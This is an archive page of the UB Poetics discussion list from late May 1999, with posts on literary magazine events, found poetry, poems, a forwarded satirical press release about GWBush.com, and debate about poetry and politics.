$5 to help us cover costs and to help us pay for Fence

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269. rebecca wolff
work within the system, it's fun
Wed 26 May 1999

I hope anyone who's in the area and who is connected to or invested in the production and sale of literary magazines will come to a panel I've been working on (with CLMP) which has finally come to fruition.

It should be good, and what's more, it should be the start of something bigger, ie, revolutionary organization.

"The Retail Market: A Conversation for Literary Magazines about Bookstores and Single Copy Sales"

with panelists Faye Kosmidis (DeBoer Distribution), Sheryl Carlson (Barnes & Noble newsstand division manager), Ian Brand (Bookseller, Labyrinth Books, NY), Philip Fried (editor, The Manhattan Review), moderator Jenine Gordon Bockman, editor Literal Latte.

Wednesday, June 2nd at 6:30pm
Teachers and Writers Collaborative, 5 Union Square West, New York City
Free admission for staff of lit mags, $5 for others.

email me for further information

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270. Joe Brennan
Fwd: BUSH'S INTERNET NIGHTMARE CONTINUES
Wed 26 May 1999

---

f.y.i....

Return-Path: <[redacted]>
air-zc05.mail.aol.com (v59.24) with SMTP; Wed, 26 May 1999 08:59:30

-0400
by rly-zc03.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with SMTP id IAA06897 for <[redacted]>;
Wed, 26 May 1999 08:59:28 -0400 (EDT)
Wed, 26 May 1999 05:59:28 PDT
From: "JR Foley" <[redacted]>
To: [redacted], [redacted]
Subject: Fwd: BUSH'S INTERNET NIGHTMARE CONTINUES
Date: Wed, 26 May 1999 05:59:28 PDT

More For Your Amusement

> *From: "rtmark.FLPOINT" <[redacted]>*
> *To: "George W. Bush" <[redacted]>*
> *Subject: BUSH'S INTERNET NIGHTMARE CONTINUES*
> *Date: Wed, 26 May 1999 03:02:07 -0400*
>
> *This is a press release, not a commercial solicitation. To get*
> *[redacted] off our lists, write*
> *mailto:[redacted]?subject=[redacted] ([redacted]*
> *must appear in your message subject or body).*
>
> *FOR IMMEDIATE RELEASE*
> *May 26, 1999*
>
> *BUSH REQUESTS "LIMITS TO FREEDOM"*
> *Internet bites Bush: Not news. Bush bites Internet: News!*
>
> *Contact: Ray Thomas (mailto:[redacted])*
> *Zack Exley (mailto:[redacted])*
>
> *The satirical website GWBush.com has received several million hits since a press conference Friday at which Texas governor and probable presidential candidate George W. Bush called its owner "a garbage man" and said "There ought to be limits to freedom." The outburst followed two separate attempts by Bush campaign attorneys to shut down the site. (For coverage of the comments, please visit the press archive at http://gwbush.com/.)*
>
> *Those behind GWBush.com--a Boston computer consultant named Zack Exley, and RTMARK--ascribe their site's newfound notoriety to the interesting nature of Bush's words themselves, and also to the ease and speed with which ordinary people can make their voices heard on the Internet. The statement, besides being broadcast on television and reprinted in hundreds of newspapers in the U.S. and abroad, immediately became a hot topic of discussion on the Internet.*
>
> *According to RTMARK spokesperson Ray Thomas, "Anyone at all can now compete for attention with huge, wealthy corporations--or with well-funded*

candidates. Bush's 'limits to freedom' quote is interesting because it reflects the (usually unspoken) desire of certain market segments to suppress this potential of the Internet."

"The Internet has amplified the voice of the ordinary citizen," said Exley. "This web site is only two months old and cost only $210, yet we already have more readers than many major political magazines. Americans are excited about this new power and freedom, and they will distrust a candidate who says he wants to limit that freedom."

Bush's statement was the latest in a series of widely-reported gaffes related to GWBush.com. Here follows a blow-by-blow account of the action:

1. The Bush campaign fails to reserve permutations of Bush's name, and in December of 1998 Zack Exley purchases GWBush.com, GWBush.org and GBush.org.

2. Upon noticing GWBush.com, with content by RTMARK and Exley, Bush campaign advisor Karl Rove belatedly scrambles to reserve up to 260 'bush'-related domain names (Bush campaign accounts of the actual number vary). When this frenzy becomes a running joke on the internet, Bush spokespeople claim the names were reserved in the summer of 1998. (Internic records available to the public reveal that the domains names were in fact reserved two months after Exley reserved his.)

3. Bush attorney Benjamin Ginsberg sends Exley a cease-and-desist letter, and shortly afterward registers a complaint with the Federal Elections Commission.

4. The Bush campaign tells press interested in the above situation that GWBush.com contains click-throughs to pornography sites. RTMARK and Exley are inundated with emails from frustrated visitors seeking pictures of nude women. (Note: GWBush.com has never contained nor linked to pornographic images of any kind.)

5. The Bush campaign tells press that GWBush.com is deceptive. (Meanwhile, the Bush campaign uses the negative domain names it has bought--bushblows.com, bushsux.org, etc.--to point unsuspecting Internet users to the official campaign website.)

6. Governor Bush himself lashes out at GWBush.com at a televised press conference, calling the site's owner "a garbage man" and saying "There ought to be limits to freedom." The quote is widely reported and becomes a hot topic of discussion on the Internet.

7. Domain name speculators begin snapping up other names related to the Bush campaign, like gwcocainejr.com, bush-lite.com, and cokeisbush.com. GWBush.com itself has so far reserved justsayyestobush.com, fantasticbush.com, bushisnicelydressed.org, and about a dozen others.

> *For more about GWBush.com, including a partial press archive and letters from visitors, please visit the site itself.*
>
> *RTMARK (http://rtmark.com/) uses its limited liability as a corporation to sponsor the sabotage of mass-produced products. One of RTMARK's ultimate aims is to eliminate the principle of limited liability. Occasionally, as with http://www.gwbush.com/, RTMARK participates in advocacy directly related to issues of corporate abuses of the political process.*
>
> *# 30 #*
>
> *This is a press release, not a commercial solicitation. To get [redacted] off our lists, write mailto:[redacted]?subject=[redacted] ([redacted] must appear in your message subject or body).*
>
> *If you have received multiple copies of this notice and wish to receive only one, please remove as above all address versions but one.*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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271. **jarnot**

Brooklyn summer sublet

Wed 26 May 1999

Summer sublet available--

One bedroom apartment (share with one cat)
available from Friday June 11- Sunday June 27th (2 weeks+)
$350 plus security deposit
Metropolitan Avenue near Bedford in Williamsburg/Brooklyn
5 minute walk to L train
10 minutes to manhattan/lower east side

please contact Lisa Jarnot
[redacted]
[redacted]

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272. Annie Finch
found poetry
Wed 26 May 1999

Jena-- Keith Tuma just wrote a piece on found poetry for the forthcoming Exaltation of Forms anthology (which you know well because you'll be in it too!). In case he's not lurking on the list right now, his email is [redacted].

Annie

> *I'm interested in poems that were "found" inside of other texts (such as Cage's mesostics and Reznikoff's _Testimony_). What are some favorites in this genre by others? Any critical texts about these kinds of procedures I should know about?*
>
> *Thanks,*
> *Jena Osman*

_____
Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English/Creative Writing
Miami University

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273. Poetry Project
workshops with Larry Fagin
Wed 26 May 1999

Another public announcement:

Larry Fagin is presently available to work with students privately, either poetry or prose fiction writers, for $50 per session. Each session will be 1-2 hours. If interested, please call [redacted].

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274. David Baptiste Chirot
Re: found poetry
Wed 26 May 1999

My favorite such book is Ronald Johnson's RADI OS made out of Milton's Paradise Lost. Working with found materials has become an honored tradition in 20th century art: in painting, film, poetry, prose and music and dance. Following a dictum of Henry Miller's in the "14th Ward" section of BLACK SPRING ("What is not in the open street is false, derived, that is to say, literature.") I make poems and visual poems out of materials found on street.

Most recently make works by rubbing with charcoal on to paper worrds and words made out of the existing letters only, found on trash containers, autos, sewer covers, police cll boxes, hydrants, buildings--anything that is raised and can be rubbed on to paper. Using a finite set of given letters is challenging and many strange messages emerge. Not to mention n can practice Situationist detournement of original messages. Found materials abound. My only caution: watch out for the police! Not always too friendly to those who make "ST WORKS"! Also many found objects, papers, etc etc may be used as stencils or stamps when wetted with spray paint. Or make transfers from newspapers using lighter fluid. The dictionary a page at a time is a good source for work. Burroughs' and Gysins' works are interesting--Gysin had the idea in the Fifties that writing lagged behind painting-- In Spring and All W.C. Williams already was using painting as a model-- dbchirot

On Tue, 25 May 1999, Jena Osman wrote:

> *I'm interested in poems that were "found" inside of other texts (such as Cage's mesostics and Reznikoff's _Testimony_). What are some favorites in this genre by others? Any critical texts about these kinds of procedures I should know about?*
>
> *Thanks,*
> *Jena Osman*
> [redacted]

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275. **Joe Brennan**
Muse, censorship, and copyright....
Wed 26 May 1999

---

the following is from a post by Pat Sloane one the t.s.e. list. since it could be of interest to many on this list, I thought I would pass it along.

joe brennan

In a message dated 5/26/99 11:21:44 AM Eastern Daylight Time, [redacted] writes:

I don't want to center on Muse, because there are about a dozen companies selling their $3600 or $4500 subscription to Universities. They're trying to establish a monopoly on information that used to be available for free. They think they're going to force every single university library to subscribe, which isn't going to happen because libraries are getting their budgets cut left and right and many couldn't have afforded those kinds of fees in the first place. People getting caught in the middle are independent scholars--of whom we now

have an enormous number--faculty and students at colleges that don't subscribe or can't afford to subscribe, and anyone who prefers to work at home...as many people do. Even today, there are plenty of colleges still using 286 and 386 computers.

I call it the new censorship. There's a bill before Congress right now giving database owners rights to the material in their database. This means if you want to quote from an article in a journal that's affiliated with Muse, you'll need permission from Muse, and judging from how all of these vendors are skinning universities alive on their subscription fees, the cost of permission won't be inconsequential. This biggest problem is going to be with medical journals, because not every doctor is affiliated with a university, or a university that subscribes to everything. Lawyers have had Westlaw for some time, and they're used to paying big fees which they can pass on to clients. Westlaw, at least, has individual subscriptions. If you know anything about the history of monopolistic practices in any field, you'll recognize what you're seeing. Corner the market and you can charge what you want. I think it's important for anyone publishing to retain the copyright in his or her own name, because we can't count on the courtesies of the past.

The one counter-force I notice is the many electronic journals that are available to anyone, and are free. I don't think many academics expect to make money off of journal articles. But you at least hope they'll be seen so that when you do a book people will know who you are. I'm against anything that cuts down the number of people who can see the material. And of course this is not anything Richard can do anything about. We're all caught up in something evil.

Same thing happened long ago with publishers, and this is why publishers aren't doing the kind of job they did years ago. It used to be that a publisher was satisfied to make a decent profit overall, and they printed some books that they thought were worthwhile but probably not big money makers, and it all averaged out. Now, with some many publishers owned by Time-Warner and similar conglomerates, a decent profit isn't enough. Now they're all gunning for an enormous profit, which is why the balance is tipping towards tell-all books by celebrities. Read the stock market page to see where our lives are--every company has to assure "investors" that they'll make more money this year than last year. Whether the company is making a decent product, or a product they can be proud of, gets much less attention.

pat

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276. Michael Krebs
Re: the suck of art
Wed 26 May 1999

Don't you find it interesting that we, as a species, (like it or not) have but three options: war, famine, or pandemic? These types of queries - is anybody going to do anything, this act of DOING in response to one of the three inevitable options mentioned above - are missing a core beat. We ARE doing. We are in a momentum, a spiral toward extinction.

The harder question to ask our fellow species is this: is anyone doing anything about overpopulation and the global pandemic we - as anthropocentrists - refer to as humanity? The answer can be found partially in Yugoslavia. Controlled warfare - where many lives are lost in a select area - is a better option than famine (which we can expect to emerge out of The Middle East and China and other far-too-populated locations) and the random sweeping of disease (which does not obey borders, ethnicities, etc.)

The ecology is tilted, and it is lost. What to do. What to do. Wear a condom and forget god. There's a start.

On Mon, 24 May 1999 23:42:54 -0400, Jordan Davis wrote:

> *anybody doing anything about this war we're having?*
> *or this capitalism we're hoovering?*
> *or this atomization of the intelligence we're endrunning by singing along with creative studies?*
>
> *Isn't political efficacy something poetry goes alongside of, is inspired by, inspires, or does it have to EMBODY it -- ENACTMENT HOUNDS, they called them --*
>
> *please implicate me,*
> *Jordan*

Get your free, private email at http://mail.excite.com/

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277. Julie Johnson
Paradigm Press On-Line
Wed 26 May 1999

Announcing paradigm press on-line.

Duration Press is pleased to announce that it has just launched paradigm on-line.

At this point there is a complete catalog with book descriptions, & ordering information for almost all of paradigm's titles.

the url is:

http://members.xoom.com/Duration/Paradigm/ppresshome.html

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278. Poetics List
Howe in NYC / Prevallet
Wed 26 May 1999

---

forwarded from Kristin Prevallet. Chris

From: "kristin prevallet" <[redacted]>
Date: 5/19/99 8:08 PM -0400

Last Friday, Susan Howe and Dominique Fourcade read (Bernstein read the translations) at the Dia foundation. Dia foundation has six or so huge skylights, and as Dominique sweetly read his poems about days made out of snow, and other French things, the light in the room changed from daylight to night. Charles with his perfect French accent (ha ha) gave a loud twang to the translations, and the odd mixture of the two voices made the audience still as statues. It was a wash of Frenchness and sincerity, a bit comatose, yet meditative. Then Susan came on, and did her slide show of _Pierce-Arrow_ (recently published by New Directions)--and WOW! She started with page xii of the book, a Pierce ms with 22 different variations on the phrase "Somebody praises somebody to his face." It was very humorous and Steinian, particularly the way she read it. Then she moved into Pierce's doodles, and his very strange calculations of ones and zeros that were stacked like stairs across the pages (a bizarre binary language, way before its time). Susan read mostly the parts of the book about Pierce's life, but then gradually moved into her poems. She talked in her intro about how she is beginning to see more and more of a connection between poetry and non-symbolic logic, and as she moved further and further into her poems, her slides of the Pierce manuscripts got more and more non-symbolic. It was like cognitive mapping off the map and into an undiscovered intellectual and emotional terrain that was really quite moving.

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279. Lisa Samuels
Re: found poetry
Wed 26 May 1999

i'll mention here what i just backchanneled to jena, partly because taylor's informative reply points out that relevant criticism is scarce: i have a collaborative essay, 'deformance and interpretation' (written with jerome mcgann), which engages the matter of playing with/rearranging texts as a mode of critical response (it doesn't specifically or exclusively dealing with 'found' texts). it is in the latest =new literary history= (30.1).

lisa s.

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280. Daniel Kane
source for a Ted Berrigan poem?
Wed 26 May 1999

If anyone know the Ted Berrigan poem that the lines

"thru mad Manhattan dressed in books / looking for today"

are from, could you please let me know? I can be backchanneled at <[redacted]>.

Thanks.

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281. Joe Brennan
New Summer 1999 FLASHPOINT!!!
Wed 26 May 1999

ANNOUNCING the new SUMMER 1999 issue of

FLASHPOINT
(http://webdelsol.com/FLASHPOINT/)
"Along the frontier where the arts & politics clash ..."

featuring
Peter Dale Scott's
"Minding the Darkness: a Poem for the Year 2000"

and
MODERNISM MULCHED

Bottoms Boudreaux Brennan Byrne
Gancie Gould Gudding
Haas Katz Kaufman
Matlin Parcelli Scroggins Foley

plus reviews of
Robert Coover Cris Mazza Lance Olsen Ron Sukenick
Jeff VanderMeer Curtis White

Part of the literary arts complex at
WEB DEL SOL
(http://www.webdelsol.com/)

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282. **nuyopoman**

Re: POETICS Digest - 24 May 1999 to 25 May 1999 (#1999-101)

Wed 26 May 1999

In a message dated 99-05-26 00:09:52 EDT, you write:

<< anybody doing anything about this war we're having? >>

For The Birds

The Birds are whispering
Tweets into my ears
Tweet tweet
Tweet tweet
I must be a Saint
St. All of a Sudden

What are they tweeting?
That is between
Me and the Birds

Now I am in The Birds
And they are in me
They are dive-bombing me
They seem no longer
To regard me as saint
And I seem to be running
As St. Alfred Lord Hitchcock
Screams out "Cut! Cut!"

However the Birds are not cutting
They are not whispering Tweets anymore either
They are slicing and diving
And I am running across the desert

Is it because I would not tell my own people
The secrets of the Birds?

Who are my people, anyway, I ponder
Now that I am a movie star

As I stumble on in the desert
Upon the answers I receive
Divine illumination and I see
Tiny insects swarm round the heads
Of the Birds that swarm round me
Tiny insects dive-bomb Birds
Birds dive-bomb me

I can no longer translate
Tweet tweet into Bzz bzz
Why do you hate me so
I wrote this in the movies
Even in the dark these thoughts
Do not stop dive-bombing
It is dark here
It is hard to write in the dark
It is hard to think in the dark
The bombing outside takes on a steady rhythm
As I pull down my mask, get runway clearance
And take off with my babies under my wings
Claws extended, bill open and screaming
Tweet tweet

Bob Holman

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283. DEBBIE COMERFORD
SERIAL DIAGRAM
Wed 26 May 1999

To All

Has anyone ever come across a diagram of the serial form? I'm reading Conte's UNENDING DESIGN and working on the serial form in oz poetry. One of oz's excellent cultural theorists, Stephen Muecke, writing on the stories of an Aboriginal writer, Butcher Joe, writes that the series is a "nomadological feature, like that of travelling through the coutnry, one place after another, and a chain of stories, 'and then ... and then ... and then'."

The diagram I have in my mind when I attempt to illustrate (explain) the serial poems I'm working with is a spiral. Now the spiral is very much a part of the Australian Aboriginal and Torres Strait Island cultures....

any thoughts?

regards
deb

↑ Index

284. Chris Stroffolino
Re: workshops with Chris Stroffolino
Thu 27 May 1999

Chris Stroffolino is presently available to work with students privately, either poetry, prose fiction or playwrights, for $49 per session. Each session will be 2-3 hours. If interested, please call [redacted]...

On Wed, 26 May 1999, Poetry Project wrote:

> *Another public announcement:*
>
> *Larry Fagin is presently available to work with students privately, either poetry or prose fiction writers, for $50 per session. Each session will be 1-2 hours. If interested, please call* [redacted].

↑ Index

285. Linda Russo
name your enemy/was "on Notley"
Thu 27 May 1999

Dear Stephen,

I agree for the most part (don't know abt the human body/roman sewer) that pluralism is the enemy of opposition (from whence "political" poetry springs) and
'love' is but another sort of pluralism, generous as it is it lets one forget his or
her enemies (Spicer said know your enemies) . . . and yet I bet plenty of people
on this list could name one or two enemies of poetry (some institution say . . .
a finger has been pointed at Barnes & Noble in the past . . .). Confused about
"funding by conservative think-tank money" . . . ? People don't want to bite
the hand that feeds, you say? elaboration? examples? thanks.

-----Original Message-----
From: Stephen Ellis <[redacted]>
To: [redacted] <[redacted]>
Date: Friday, May 21, 1999 6:57 PM
Subject: Re: NOTLEY on

>LR -
>What you're calling politics is, as you say, "less visible" as an activity
>because it's being funded off the boards, out of public view, by
>conservative think-tank money. We live in an increasingly monadic society,
>regardless we may prefer to characterize it as "plural". Our culture is
>god-culture in disguise, excused by a sort of virtual inter-connectedness
>that in fact is non-existent (just try talking to those who say this just
>ain't so ...); freedom of choice is mostly at this point just another
>eschatological hope, and you know where they've gotten us in the past, the
>past itself, of course, being a highly sheltered and perpetually
>slaughtering swarm, the human body lately also, an open Roman sewer
>certainty, guaranteed by the increasingly tightened "rule of law" much on
>the airwaves in recent months.
>
>Tough times ahead's a simplistically broken after-dinner fortune cookie;
>questions abt it remain in the present, ie, what to do, how to act / live
>NOW
>SE
>
>From: Linda Russo <[redacted]>
>>Reply-To: UB Poetics discussion group <[redacted]>
>>To: [redacted]
>>Subject: Re: NOTLEY on "the youth"....
>>Date: Thu, 20 May 1999 13:58:14 -0400
>>
>>Hi Chris & others listening in. I've been thinking about your query re
>>Alice Notley's comments in the COMBO interview ("They're these people
>>between about 23 and 36 . . . They're not very political, and I wish they
>>were more political").
>>
>>You go on to equate the 'personal' in 'the personal is political' with
>>'love,' but I think you're mincing here, collapsing the 'personal' and
>>'love
>>' and therefore excluding a crucial issue of the very politics that might
>>be
>>at stake. In making a distinction I think I can talk to your query.

>>
>>The political, and I think this holds for Alice, has always to do with the
>>polis, not in the way that love might, or even in the sense of the
>>potentially volatile issue of who we might choose to love publically, or
>>how. The ‘personal,’ to be ‘political,’ has to engage with and be effected
>>by the polis. In the feminist formulation, ‘the personal is political’
>>meant primarily that the private, the domestic, the ‘female’ experience too
>>was _as_ political as the public experience, and it wasn’t until the
>>‘personal’ experience of women (subjection, misogyny, etc.) were shown to
>>_be_ political, to have everything to do with the workings of the polis,
>>that the women’s movement as a _political_ movement, could make any
>>headway.
>>
>>So the personal has as much to do with anger as it does with love, both
>>overwhelmingly present in Alice’s work. So I think when she points out the
>>lack of politicalness, she is addressing the lack of attempting to change
>>‘the way things are’ in the polis and in poetry via how one experience
>>power
>>on a 'personal' level. This is evident for example her essay “Epic and
>>Women Poets,” which points out that there is something wrong with the
>>polis,
>>with the way it tells itself stories which exclude the possibility of
>>women’
>>s stories, and that this has to change. She realizes these ideas in
>>Desamere and Alette. Perhaps that’s what it means to be political: to
>>think
>>(essay) about a problem and try to solve it (poem). Writing essays,
>>editorial matter, and prefaces has always been a part of Alice’s poetic
>>practice. I think she might say that editing _Chicago_ while she was
>>pregnant was a personal _and_ political choice. Maybe _just_ writing
>>poetry, in her mind, isn’t political enough? But maybe the choice to write
>>poetry is always political, but the politics (now) aren't as visible as
>>they
>>were say, in the 70s, when she was in/against the context of the women's
>>movement, and those political issues were heightened.
>>
>>you write that you're
>> > interested in looking for other ways to frame this question,

>> > because i respect and admire notley's poetry,
>> > and her desire for a return perhaps to a more blatant concern
>> > with politics on a content level,
>> > a moving beyond coterie politics,
>>
>>and perhaps bringing in this context frames it helpfully, I hope?
>>
>
>
>_____
>Get Free Email and Do More On The Web. Visit http://www.msn.com
>

↑ Index

286. **Ron Silliman**
Bromige Poem
Thu 27 May 1999

"David Bromige's Sonoma County newspaper prose poem, a lovely piece whose title I'm unfortunately not able to recall"

is entitled "One Spring" and can be found in _My Poetry_

and like everything in that book, it's a beaut!

Ron

↑ Index

287. **Kevin Magee**
Re: CENTURY OF CLOUDS
Thu 27 May 1999

S U N S H A D E

DH:
and whispered cries
like this in caves
out of the way places
a night might force, two thousand years
move a heavy stone
into place in the cave
some good cave or
someplace the cops
don't know about, lets us
come when we come

under the sun, that sun-god
fry our asses off

HD:
those we know that live along the Nile
a crocodile came along
the palms calm on the watch wall
telling this thing all around

and looked for the little ark
whose legend grew like grass
public massaged from hiding
holding the screening-shielding-chiding

CHORUS:
bending the bow
bits of hog head
the blues and reds
boiled hog head

DH/HD:
a cow, a ewe chew
on our cookie dough
patted out now that the crocodile
or either the soldiers
we are the sentimentalists
and you are the realists
yolk drips from lips to others ear
and starred it with rivets
balm in the brainchamber
of a stable boy winnowing
the female-male, a fine gold collar
for your neck and plenty
build a playhouse of bits
bites as could be got, is it
silly to build a playhouse
like the cities of Ramses

CHORUS:
bending the bow
bits of hog head
the blues and reds
boiled hog head

DH:
for your mate he says

lame from the mauling
takes too long (telling)
so that your mating

HD:
Did you see what I saw
the forty-two gods in the hall
guarding the book of papyrus
the only two pages of this book
pretend that we have read a page

CHORUS:
the tutors go soft into the temple
the clumsy thing
is the living thing
hurled from machines
tangled in the reins

HD/DH:
the cry of it is that it is
poptarts, cheerios, frosted flakes
without a memory in the sky

↑ Index

288. **Rachel Loden**
it's not the meat, it's the motion
Thu 27 May 1999

My husband sent me this nice bit of British bitchcraft from _The Independent_ :

" . . . I have
followed Andrew Motion's career with interest and
affection ever since he published his first book twenty or
so years ago. But try as I can to recall any of his poetry, I
find it impossible. His watery pastiches, first of Edward
Thomas, then of Philip Larkin, then of Ted Hughes, just
don't stay in your head. He must be the dullest, the least
memorable, published poet alive. How then did he come to
be appointed?

"Watch out for Andrew," Larkin once said to me.
"Cultivate him. I like him, but he's the Spender de nos
jours." Anyone who knew Larkin's view of Stephen
Spender would not have taken this as a compliment. Larkin

shared Evelyn Waugh's view of Spender as a man with an idea of himself as a poet who unfortunately lacked the skill to write poetry.

Larkin - destined to have his reputation trashed by Motion's biography of him - had seen a truth about Motion which I, who knew him so much less well, had failed to spot. When I first knew Andrew he was a blond-haired figure with mascara'd eyelashes and wrist bangles who bore a disconcerting resemblance to Dame Hilda Bracket. One imagined that, as was often the way with the more orchidaceous undergraduates, he would one day don a pair of cricketing flannels and get a job teaching English at a prep school. He amazed us all when in his twenties by having his portrait painted. He had a lot of amusing friends, all trying to be the Harold Acton of the 1970s, and one assumed he would be like them.

After we'd lost touch, it was surprising to notice him plodding through the rungs of committee-dom, sitting on the literature panel of this and the sub-committee of that, Widmerpooling for poetry while failing to produce a single memorable poem.

In the Times a few days ago he was quizzed about some novel he'd written in which one of the characters is writing a thesis on "Tennyson's laureate poems, for God's sake". Instead of saying that this was a mere novel, written ages ago, that he couldn't remember it, Motion replied ponderously that this had been intended as "a joke at my own expense".

Hang on. This novel was written in his thirties, or when he was even younger. And he was making "a joke at my own expense" about the laureateship? So even then he thought of himself as laureate material? In his twenties? In his teens? It is one thing to dream of being a poet when you're 16. To dream of being Poet Laureate, though - that's as depressing as the young William Hague with his "Hey, hey, we're the Monkees" hairstyle attending Tory party conferences before he'd had his first snog . . ."

--A.N. Wilson

Can anyone confirm my suspicions about "snogging"? The whole piece is at

http://www.independent.co.uk/sindy/stories/C2305904.html

↑ Index

289. Jordan Davis
context judo
Thu 27 May 1999

What mean you by what mean you.

Claiming that people aren't involved in politics or do not take a political stance, isn't that just a code for 'why haven't you taken power?' or 'Were you assuming that power was going to be given to you at an appropriate time?' or 'Don't you know what power is and what will happen to you if you don't have it?'

Claiming that people who claim to be writing poetry aren't really writing poetry, isn't that a code for 'no exemptions from withholding'?

Jordan

↑ Index

290. Lowther,John
Quick Political Scholastic Aptitude Test
Thu 27 May 1999

> Quick Political Scholastic Aptitude Test
>
> This test consists of one (1) multiple-choice question. Below is a list
> of the countries the U.S. has bombed since the end of World War II,
> compiled by historian William Blum:
>
> China 1945-46
> Korea 1950-53
> China 1950-53
> Guatemala 1954
> Indonesia 1958
> Cuba 1959-60
> Guatemala 1960
> Congo 1964
> Peru 1965
> Laos 1964-73
> Vietnam 1961-73
> Cambodia 1969-70
> Guatemala 1967-69
> Grenada 1983

> Libya 1986
> El Salvador 1980s
> Nicaragua 1980s
> Panama 1989
> Iraq 1991-99
> Sudan 1998
> Afghanistan 1998
> Yugoslavia 1999
>
> In how many of these instances did a democratic government that was
> respectful of human rights occur as a direct result? Choose one of the
> following:
>
> (a) 0
> (b) zero
> (c) none
> (d) not a one
> (e) zip
> (f) a whole number between -1 and +1
> (g) zilch
>
>
>
>
>
this thing forwarded to me by one M. Magoolaghan

↑ Index

291. **raea100900**
My Europe Question
Thu 27 May 1999

Dear All-

I have some personal, selfish questions to ask about Europe. I'm going in September to Paris, Prague, Vienna and Venice/Florence. It's only the second time I've been to Europe. My husband and I are going as tourists - but I'd appreciate any related poetry info. I'd, of course, be happy to give readings in any of those places or to go to readings there or to meet list folk there or just to get advice about hotels and restaurants, etc. We'll be landing in Paris on Sept. 8, going to Praqgue on the 11th, to Vienna around the 14th or 15th and to Italy around the 17th. Anyone with any helpful thoughts, please backchannel. Thanks!

Rae Armantrout

↑ Index

292. **Ron Silliman**
Grey Literature
Thu 27 May 1999

This must be why Charles is the Grey Professor....

Ron

>-------Call for Papers--------
>
>The Editor invites prospective authors to submit original manuscripts for
>possible publication in this international journal.
>
>-Editorial aims and objectives-
>
>The International Journal on Grey Literature (IJGL) is a forum for
>discussion of, and dissemination of knowledge about, the theory, practice,
>distribution channels, unique attributes, access and control of grey
>literature in a global context.
>
>The journal reflects the changes in grey literature due to the alternative
>press movements; options for electronic publishing and archiving; emerging
>multidisciplinary research patterns; convergence of new contributors,
>information users and products; and issues related to the identification,
>selection, acquisition, bibliographic control, access, use, and archiving
>of
>grey literature in all subject areas. The journal will be of interest to
>librarians, academics, government analysts, information industry
>professionals and publishers.
>
>-Scope and topicality-
>
>By definition, Grey Literature is the information and resources that do not
>categorically fall into what is available via standard traditional or
>commercial publishing channels. Grey Literature has emerged in scope and
>importance in recent years due to the proliferation of critical information
>now readily available to organize and access from electronic publishing
>ventures. The journal will present new material on how grey literature has
>surfaced in a variety of disciplines and environments allowing for

>increased
>visibility, legitimacy and success in many research environments. To
>promote grey literature in academic and research settings, libraries and
>government information centres, this journal provides insights and
>describes
>methodologies to share its value and contribution to information use,
>delivery and exchange.
>
>The following illustrates some possible journal topics: Examples of trends
>and specific works of grey literature that have an increased presence in
>usefulness among readership, such as electronic initiatives and
>collaboratories of theses, dissertations, preprint and working paper
>series,
>technical report literature, oral histories, genealogies, critiques,
>scientific findings, visual arts, reviews and critiques; international
>publishing directives; geospatial information, metadata, demographic and
>statistical data, scientific visualization and new content areas of
>significance.
>
v> The role of grey literature in relation to retention, holdings,

>authentication, legitimation, archivability, and its use in different
>settings and how to properly cite or reference it. The institutional
>concerns of grey literature and how to organize, describe, promote,
>preserve
>and care for it.
>
>Copyright and intellectual property concerns, licensing, access and
>ownership issues; costs and resource sharing, security and integrity of
>content, finding aids for grey literature, institutional liability.
>Articles
>are also being sought on the applications of grey literature for example,
>in
>distance learning, records management, archival and museum studies, mixed
>media collaborations, and other practices. On occasion, thematic issues
>will be prepared.
>
>Each issue will offer highlights of relevant international conferences and
>meetings, new examples of grey literature released from around the world,
v> introductions to contributors, authors, and creators of grey
literature,
>interviews with people connected to grey literature, and other appropriate

>columns. Volunteers to be prospective editors of such sections of the
>journal should contact the Journal Editor.
>
>-Article Presentation-
>
>Articles should be between 3000 and 4500 words in length, although
>shortercommunications dealing with more immediate issues, responding to
>points raised in recent articles, conference proceedings, publications and
>other venues and raising new issues for discussion are encouraged and will
>be included. Such items should be up to 1000 words in length. Graphics,
>images and illustrative material can be included. Articles should be typed
>with wide margins and double spaced. Two copies of each submission should
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>sent to the Editor together with a brief autobiographical note, 1-6
>keywords, an abstract of approximately 150 words and a suggested title.
>The
>submission should follow the guidelines in the Publication Manual of the
>American Psychological Association (4th edition, 1994), Name-Year System of
>the Council of Biological Editors
>(http://www.wisc.edu/writing/Handbook/DocCBENameYear.html#reference),
or
>the
>Columbia Guide to Online Style (1998).
>
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↑ Index

293. **Irving Weiss**
Re: found poetry
Thu 27 May 1999

Re Jena Ostman's query about found texts and Annie Finch's answer, May I humbly suggest that in a sense my own Visual Voices: The Poem As a Print Object, preceded by my introduction in explanation, is based on traditional English-language verse that I treat as print objects, found as poems in print and used as print-poems.

See, for examples:

Runaway Spoon Press

http://www.interlog.com/~dal/rasp/

and

http://www.members.tripod.com/duchimp/lightside/weis/weis00.htm

Irving Weiss

http://members.tripod.com/~sialbach/

↑ Index

294. Poetics List Administration

Isidore Ducasse / jesse glass

Thu 27 May 1999

---

had to reformat this - everyone please remember
to send poetics messages in Text Only format. Chris

----- Original message (ID=BC10A895) (63 lines) -----

From: "jesse glass" <[redacted]>
Subject: Isidore Ducasse
Date: Thu, 27 May 1999 07:22:12 -0700

Isidore Ducasse/Le Comte de Lautreamont borrowed texts of all sorts and incorporated them into his Maldoror (1868/69) amd in his Poesies (1870). Both are probably the earliest examples of found poetry and the use of readymade art in Western lit.

Alex Cigale devoted one issue of Synaesthetic mag. to found texts and has written an interesting essay regarding the same.

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

June 1999

292 messages · Thu 27 May 1999 – Wed 30 Jun 1999

June brought, at long last, a silence. On the tenth NATO's bombs stopped falling and Serbia agreed to quit Kosovo; after seventy-eight days the war whose dispatches the list had read all spring — Dubravka Djuric writing from beneath the sirens — was, provisionally, over. Released from that weight, the room spent June on the gentlest business it knows: defining old words, trading old books, and arguing about a poet reading in the snow.

That poet was Robert Frost, and the snow was the glare off the Capitol steps in January 1961. Mark Melnicove, at work on an essay, asked the list for poets' responses to Frost's reading at Kennedy's inauguration, calling it *"a signal event"* — though he noted at once that not everyone agreed, some of the replies having more to do with old misgivings about Frost the man than about the morning itself. It is the perennial American question, whether a poet belongs on the public platform at all, and the list turned it over with unusual tenderness.

